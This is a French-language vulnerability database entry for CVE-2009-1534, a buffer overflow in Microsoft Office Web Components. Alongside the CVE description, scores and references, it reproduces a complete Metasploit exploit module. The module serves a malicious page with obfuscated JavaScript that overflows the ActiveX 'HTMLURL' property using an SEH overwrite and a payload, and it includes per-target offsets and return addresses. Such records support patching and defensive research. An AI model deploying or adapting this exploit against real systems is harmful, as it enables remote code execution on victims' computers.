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Descriptions du CVE
Buffer overflow in the Office Web Components ActiveX Control in Microsoft Office XP SP3, Office 2000 Web Components SP3, Office XP Web Components SP3, BizTalk Server 2002, and Visual Studio .NET 2003 SP1 allows remote attackers to execute arbitrary code via crafted property values, aka "Office Web Components Buffer Overflow Vulnerability."
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 16542
Date de publication : 2010-04-29 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: ms09_043_owc_htmlurl.rb 9179 2010-04-30 08:40:19Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft OWC Spreadsheet HTMLURL Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Microsoft's Office Web Components.
When passing an overly long string as the "HTMLURL" parameter an attacker can
execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision: 9179 $',
'References' =>
[
[ 'CVE', '2009-1534' ],
[ 'OSVDB', '56916' ],
[ 'BID', '35992' ],
[ 'MSB', 'MS09-043' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=819' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00\xf0",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
# 'ProgId' => "OWC.Spreadsheet.9"
# 'ClassId' => "0002E512-0000-0000-C000-000000000046",
[ 'Windows XP SP3 - IE6 - Office XP SP0',
{
'ClassId' => "0002E510-0000-0000-C000-000000000046",
'Offset' => 31337,
'Ret' => 0x42424242 # p/p/r in msohev.dll ??
}
],
[ 'Windows XP SP3 - IE6 - Office XP SP3',
{
'ClassId' => "0002E511-0000-0000-C000-000000000046",
'Offset' => ((4096*7) + 1076),
'Ret' => 0x32521239 # p/p/r in msohev.dll 10.0.2609.0
}
]
],
'DisclosureDate' => 'Aug 11 2009',
'DefaultTarget' => 1))
register_options(
[
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
], self.class)
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def big_alnum(num)
divisor = 2048 + rand(2048)
pad_pages = num / divisor
pad_left = num % divisor
ret = ''
ret << rand_text_alphanumeric(divisor) * pad_pages if pad_pages
ret << rand_text_alphanumeric(pad_left) if pad_left
ret
end
def on_request_uri(cli, request)
=begin
# Only respond to any client twice...
if (@sent[cli.peerhost] > 1)
send_not_found(cli)
return
end
@sent[cli.peerhost] += 1
=end
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# ActiveX parameter(s)
clsid = target['ClassId']
# Exploitation parameter(s)
seh_offset = target['Offset']
# Build the buffer.
string = big_alnum(seh_offset)
string << generate_seh_record(target.ret)
string << payload.encoded
string << big_alnum(40960 - string.length)
string = Rex::Text.to_unescape(string)
# Randomize the object and function names
objid = rand_text_alpha(8+rand(8))
fnname = rand_text_alpha(8+rand(8))
# Build the final JavaScript
js = %Q|
function #{fnname}()
{
var ver1 = -1;
var ver3 = -1;
try {
ver3 = #{objid}.Version.split('.')[3];
ver3 = parseInt(ver3);
ver1 = #{objid}.Version.split('.')[0];
ver1 = parseInt(ver1);
} catch (e) { }
if (ver1 == 9 && ver3 <= 8966)
{
history.go(0);
#{objid}.HTMLURL = unescape('#{string}');
}
}
|
# Obfuscate the javascript
opts = {
'Strings' => false, # way too slow to obfuscate this monster
'Symbols' => {
'Variables' => %w{ long ver1 ver3 },
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.obfuscate()
#<body onload="history.go(0); #{fnname}()">
# Build the final HTML
content = %Q|<html>
<head>
<script language=javascript>
#{js}
</script>
</head>
<body onload="#{fnname}()">
<object classid="clsid:#{clsid}" id="#{objid}">
</object>
</body>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content,
{
# The vuln requires that this be the same on both requests.
'Last-Modified' => 'Tue, 11 Aug 2009 07:13:49 GMT',
})
# Handle the payload
handler(cli)
end
end
Products Mentioned
Configuraton 0
Microsoft>>Biztalk_server >> Version 2002
- Microsoft>>Biztalk_server >> Version 2002 (Open CPE detail)
- Microsoft>>Biztalk_server >> Version 2002 (Open CPE detail)
Microsoft>>Isa_server >> Version 2004
Microsoft>>Isa_server >> Version 2004
Microsoft>>Isa_server >> Version 2006
Microsoft>>Isa_server >> Version 2006
Microsoft>>Office >> Version -
Microsoft>>Office >> Version 2003
- Microsoft>>Office >> Version 2003 (Open CPE detail)
Microsoft>>Office >> Version xp
- Microsoft>>Office >> Version xp (Open CPE detail)
Microsoft>>Office_web_components >> Version 2000
Microsoft>>Office_web_components >> Version 2003
Microsoft>>Office_web_components >> Version 2003
- Microsoft>>Office_web_components >> Version 2003 (Open CPE detail)
Microsoft>>Office_web_components >> Version xp
Microsoft>>Visual_studio_.net >> Version 2003
- Microsoft>>Visual_studio_.net >> Version 2003 (Open CPE detail)
Références
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6326
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-043
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
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